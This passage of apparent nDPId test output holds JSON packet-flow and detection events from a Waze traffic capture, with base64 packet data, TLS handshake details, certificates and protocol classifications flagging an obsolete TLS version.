+00725{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":33402,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdO5AABAG02OwImdpCggAAQG7x2rbscZPJE5IhVAY\/\/8hcwAAFgMBAKoEAACmAAABLACgZYyyhW1E1RrNGRvl3ohq119X1zv6a+W0q7fpCHAJaiASCgGxvM0rhJRkkLGGrlffTZ3l4zA+p8CFkaN6JHmOKVENLTv9r8pnWIHaooS4Pb47q3nOdRgC0eH1b\/Ewz9XYHXlsdcwi8J+4wbRkAHQShh8SBqlngMLlZzx5fNeItuk6fyWSV3kjPJ1Abgp39F4iMNEsBy\/4BNtpUX5c9YyTwxQDAQABARYDAQAwDo5z9CCmu4T4yf8vDBdE1yo11d2ywtj29Fhj0WImC33Kx4H59Kyp0eRB+qVJPx7i"} +00461{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":33503,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABN\/XNAAEAGG6MKCAABsCJnacdrAbsTBZJm7Pp+XVAY\/\/8oCQAAFwMBACAJ6HqBXkdDtXSDf0r9cvid2om33dYTk4HvLbhI2imOcQ=="} +00408{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":34039,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAocI5AAEAGqK0KCAABsCJnacdpAbv69x54BQjv1lAQ\/\/+2zAAA"} +00596{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":54304,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"ABoRAAACABoRAAABCABFAACucI9AAEAGqCYKCAABsCJnacdpAbv69x54BQjv1lAY\/\/\/vRgAAFgMBAEYQAABCQQRdkZleahkvm3eppytahQ9tN\/PfzVJTHI+MG0KB9Mo8Kcx6vqwxDiMevbaN\/dHPCMYrMdpXq6\/nlFZqV82sUl5fFAMBAAEBFgMBADDWREv2gU0xrA3ugjom7Mlf2X3BLarktoq\/Nfe2DoLX9DzGxWQEdBvUkRJ6jG7imjI="} +00410{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":54646,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodPBAABAG1EuwImdpCggAAQG7x2kFCO\/W+vce\/lAQ\/\/+2RgAA"} +00857{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":105040,"pkt_caplen":379,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":379,"pkt_l4_len":345,"pkt":"ABoRAAACABoRAAABCABFAAFtKgZAAEAG7fAKCAABsCJnacdqAbskTkiF27HHOVAY\/\/8M1wAAFwMBAUAF1HbpYBuQBbRzcdyJMKqshZ55Y8atFbDyYuElywLKEsOfCuK6MHzzTF\/rju2o08QAdoslC33gpFTGYMfeUF8jJyGSXfYFOPy3uEXVkbV+hoNP38sBr9GUXsTQqzqfwnfwd2+lvXxb4uPepuGVokdhwJxPIHZZUM6s6mtUk9XfDfTDA7w0f4VVUVA5OVTNdfBzlhMw5z+K0mTBpFeZ2SBt\/b+KXt+nOSxdh4zUDxKWx8lS6yP4ZyVXLt+yof4LXqiLOLIicyBfKN5bEBiWu\/OU1\/bo+roiyyEjPFCmw6K5Rr\/l7nj1uXYiwpAmwfaOASVUlJ6cjkCXx+uMsWGZORZu+OfUBlZ9m\/qQyuk\/UBzyDGUwkNTmhUWpbfK8acORmRSLO6k+DrLp6JQwGgsuOkYSiZK\/Ild2L4vx44+\/9PxBYQ=="} +00409{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":105928,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodPFAABAG1EqwImdpCggAAQG7x2rbscc5JE5JylAQ\/\/+0FgAA"} +00463{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":106383,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNKgdAAEAG7w8KCAABsCJnacdqAbskTknK27HHOVAY\/\/\/SGQAAFwMBACDVMImAVGQBDT4Y1ZmVLO6P73b3pTWMN53Kui7\/QtTwQw=="} +00458{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":253893,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNMsVAAEAGQsIKECWdriXnUaUQFGaA18okWhY9doAYAVclRQAAAQEICgAIbjZBJdw4gAAWBXL2KZLscQ7\/r4Q3YR6R6YsREWIs0w=="} +00732{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":290640,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdPNAABAG016wImdpCggAAQG7x2kFCO\/W+vce\/lAY\/\/+mvAAAFgMBAKoEAACmAAABLACgZYyyhW1E1RrNGRvl3ohq18ASlfsG\/KzX7mSm8oyfUsrIfh0hnbVsrjXbN7zdIfqNOhtvHj5dQN+gnOJohj3hP51JTKHyjTyrKh+7do5iR6C1sIBH\/EIR4wa\/RwUpaygmlfgDm\/9xJxGgzpWz3vTBniIQUuUGpKxZATb3isF1MvhQBG+ZmzuKm\/WYGtZQKAJmimbZHf65h9Br10vNM8S+BhQDAQABARYDAQAwsscIx2A4U38oHP6gML9v8ald1lh5KFrvUq4Gjw9kdeC65V1o0ufIdAzkBOtk3xg\/"} +00768{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587874,"pkt_ts_usec":343123,"pkt_caplen":315,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":315,"pkt_l4_len":281,"pkt":"ABoRAAACABoRAAABCABFAAEtcJBAAEAGp6YKCAABsCJnacdpAbv69x7+BQjwwFAY\/\/+HPAAAFwMBAQC7\/o5A\/SNlwLrFHOhVIYdvKluvLhZh1POT6fHvf9DCGcIpt9NvMANr9sZ9LNyXWTpS4W5wlMSdSBjr+ilY+yorbNaVIAAFnQ6lSa\/BikJFafqFjXdbXSH5\/fMJbEIbNGXkBQkR6doyrvuesHXVZc1HIkHtsfyZYv8E9UMgRTUyVxE43VjH4CWre\/GVTZpctIV3iPU\/eHiCbt33SPtVg737wEEz7boy\/w\/y793VYCn9K4rxJ3ncCtVXEc33omhjYWyCx7LSRuCZM5youkODRiYWEGatQZSBhdisgY+deajUrECtJ1AJFpINyUI36x4Pko1QSeUkcu5jfjJzdDvk6XzJ"} +00658{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587875,"pkt_ts_usec":693592,"pkt_caplen":235,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":235,"pkt_l4_len":201,"pkt":"ABoRAAACABoRAAABCABFAADdH7BAAEAGNHkKCAABLjOtto0GAbtbbHWqpJOZiFAY\/\/\/6sQAAFwMBALADrBKnGaK3WfzgCT3FYMNAjOZ+llBr3fI4vohyMsCSWn0ULt9+PV1IYPDe9kWWiV0OVn0edXZwGLo80p2mJdQ2gU2BvbX0MVkUpb15ppn1+hc6yQZdgKhFg0mU9F5BGATZ+rMVVPUcVRCj6KXAKEDnjm300I28sOYVdfFzTyDIuOT4nedEd55u3siGOk9\/rZms9VjSHdQf1AEs8NpfzxCE5zDZ\/iJuIgZc3IDyg6y66A=="} +00408{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":313,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587875,"pkt_ts_usec":694967,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodQdAABAGD9cuM622CggAAQG7jQakk5mIW2x2X1AQ\/\/8rOQAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":346,"source":"waze.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1435587878215,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"52.17.114.219","src_port":39021,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":215938,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8EZdAAEAGeDAKCAABNBFy25htAbtopH5VAAAAAKAC\/\/+mHQAAAgQFtAQCCAoACG\/CAAAAAAEDAwg="} +00408{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":217263,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodRhAABAGRMM0EXLbCggAAQG7mG2XW4GqaKR+VlAS\/\/9ktAAA"} +00408{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":217523,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoEZhAAEAGeEMKCAABNBFy25htAbtopH5Wl1uBq1AQ\/\/9ktQAA"} +00659{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":444441,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADeEZlAAEAGd4wKCAABNBFy25htAbtopH5Wl1uBq1AY\/\/\/QKAAAFgMBALEBAACtAwGuYbGMU0Nfp5xq\/npkGkka24sX9VU\/rk18edcLN8FjCgAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":353,"source":"waze.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1435587878215,"flow_last_seen":1435587878444,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"52.17.114.219","src_port":39021,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":444758,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodRtAABAGRMA0EXLbCggAAQG7mG2XW4GraKR\/DFAQ\/\/9j\/wAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":359,"source":"waze.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1435587878606,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36312,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":606407,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8DkFAAEAGt5sKCAABsCK6tI3YAbvsnGGoAAAAAKAC\/\/+FVQAAAgQFtAQCCAoACG\/pAAAAAAEDAwg="} +00408{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":608820,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodR5AABAGgNKwIrq0CggAAQG7jdgTY55X7JxhqVAS\/\/+rXgAA"} +00408{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":609194,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoDkJAAEAGt64KCAABsCK6tI3YAbvsnGGpE2OeWFAQ\/\/+rXwAA"} +02252{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":781291,"pkt_caplen":1422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1422,"pkt_l4_len":1388,"pkt":"ABoRAAACABoRAAABCABFAAWAdR9AABAGP2Q0EXLbCggAAQG7mG2XW4GraKR\/DFAY\/\/9nLgAAFgMBAD0CAAA5AwHUlsLLBsJauTEgY6cbF8sk70tyX71bfKz4jyHUCpz0tgDAEwAAEf8BAAEAAAsABAMAAQIAIwAAFgMBDAMLAAv\/AAv8AAR+MIIEejCCA2KgAwIBAgIIdngzx9KEkDUwDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwHhcNMTQxMTA2MTYwOTIwWhcNMTUxMTA2MTYwOTIwWjBqMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNTW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzEZMBcGA1UEAwwQKi53b3JsZC53YXplLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALl19Yrv10JVvbDv+DcdGs3iL2qAyWGBCh9dBBfDSAPztP2zJeYXmnPQLCabDumM5sV7994IeE\/lDlNg\/Ee9AVVGazduLe76CEdBASswND6c3ScTzsmvvizSQ7iCLmTGWdY7m78IvHnpcTTwMbz1xjAt6nbJdrDsWlDzyhhCDWK6IfCRuO2hGmKNKEWvAgjjIYQ2nDdUeRvoXH+AAQVpDFmbrN5yTBDUdjrgiaq0ZhMga3iYMHUUlpNRnB25Y7qg9ksH8qvnj7eM5yjiE+Gz9pntMytr\/XyqrWsNzChuSvj8cLLo3RMatDoPKfiw+mfBtr75CMCZ0Z+MZJmYi8WLjaUCAwEAAaOCAUMwggE\/MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAbBgNVHREEFDASghAqLndvcmxkLndhemUuY29tMGgGCCsGAQUFBwEBBFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNydDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAdBgNVHQ4EFgQU1mxvIJu5ECrTi3o6310abW3e5WgwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQUFAAOCAQEAVpjbOikll0Teaae1COIvpXTJakGeRLf+92aO+LubSXxVPd8MV65O7qe+7mTzVcle4OL9BXTWgOB9m5mxXaplXhLzGouaP\/yzxCeZxN4emiYMxJ2NdNfOIWdKSSjcwey5R4Pf4wYLWc99Pl+xmKWW+4UK4Fr0R3BKQthQ6LcyWnduTpOX3i0b1oEKSFL1Vihne5VDxgrHGjZ94IbG96VTGUyce0bVy\/lr\/UQYY\/cZy6i707TNZg8\/R8VCT6E5K482Z2i9e3GHVF7UoogvRRWxcFgmFMx+tytkegF1ydRjmZ6fy1jkp4YAvpGFX7\/avRkjLnVnNHUyRsyOQO7cE54VdAAD9DCCA\/AwggLYoAMCAQICAwI6djANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NVoXDTE2MTIzMTIzNTk1OVow"} +00785{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":362,"source":"waze.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":6,"flow_first_seen":1435587878215,"flow_last_seen":1435587878781,"flow_tot_l4_data_len":1690,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1388,"flow_avg_l4_data_len":281,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"52.17.114.219","src_port":39021,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"}} +00408{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":831646,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoEZpAAEAGeEEKCAABNBFy25htAbtopH8Ml1uHA1AQ\/\/9epwAA"} +03270{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":832590,"pkt_caplen":2177,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2177,"pkt_l4_len":2143,"pkt":"ABoRAAACABoRAAABCABFAAhzdSFAABAGPG80EXLbCggAAQG7mG2XW4cDaKR\/DFAY\/\/+itQAASTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCcKgR3XNhQkToGo4Lg2FBIvIk\/8RlwGohGfuCPxfGJziHuWv5hDbcyRImgdAtTT1WkzoJile7rWV\/G4QWAEsRelD+8W0g49FP3JOb7kekVxM\/0Uw30SvyfVN59vqBrb4fA0FAfKDADQNoIc1Fsf\/86PKc3Bo69SxEE630k3ub5\/DFx+5TVYPMuSq9C0svqxGoassxT3RVLix\/IGWEfzZ2oPmMrhDVpZYTIGcVGIvhTlb7jgEoQxirsupcgEcc5mRAEoPBhepUljE5SdeK27QjKFPzOImqzTs9GA5eXA37Asd57r0Uzz7o+cbfe9CUlwg01iZ2d+w4ReYkeN8WvjnJpAgMBAAGjgecwgeQwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFErdBhYbvPZotXb1gba7Yhq6WoEvMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgEGMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9nLnN5bWNkLmNvbTAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwDQYJKoZIhvcNAQEFBQADggEBACeMz+nHO77Ab+iWhPucXF2Q5HfbizJgm2XYhSa1up8e3mROH8bIIFsJn6up4Ak0RaJlJTc9f1pvIMz5+vEdjxAMAjrEyQF2lr6b+RXYOdHFA0d2uIqMMdZg1eSP2\/o8xtWYKPgcjxeRNMvLUnrR+zog5OGGsdgYD77Wh2SNxQolQlHvsji44B3Q4fzm9K9Guu\/Av8W0BfWUdQz+or4CuuqGW\/k1s2b1xY2FoRojdxoZF1QTYJ8L4bScKCr5rgI0bSWTnIKoF3vxhbDTD1jh+7H+nKGj6P3JP\/TXcdy9jKQZ4CEjI1UTj6QWAgl+ua\/u21NkvXEvuTnOMLe0vFTgRwcAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hxa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwEBSwwAAUcDABdBBA1VEDMzXeskEeC3gUKul3lP31QXxCQZyBpyytjLNYhvNMQdfIrqVpYv5p20b8P2F8BoUNYcZmKjDHOANnp943oBAA2cPuQCO7g6eGIofdwSUu1YiujzpSy38t12trry0O2PSWAvUAij90kb\/sJpYN4NqUjzUJdfSN1KVmLcVB4AJNUkSGJMw0SwXdio6cxmxZUSh6GtIQ+kn2uSSq1+Dg2ikAlE0A2Iu6vIqiqXO6MQK8ECg4TkizWrH4e4Pbt7GJm8aGqEUcz7vz66hNyhBW0b58ayuhEIG\/bmaiyEQlKLf9a0RIY3y6Ua76puU9aH7t9BoVDHB5s5R8SkAGfWjCUbJVq27PGYfyOXlpnUIo0igwdBUOZKq0o2YGGYnuWpIzzx13cKNAq1TbYGjobMXQeALF7Koz9jdXl4rMwgmfGR1kUWAwEABA4AAAA="} +01043{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":365,"source":"waze.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":8,"flow_first_seen":1435587878215,"flow_last_seen":1435587878832,"flow_tot_l4_data_len":3853,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2143,"flow_avg_l4_data_len":481,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"52.17.114.219","src_port":39021,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.world.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain 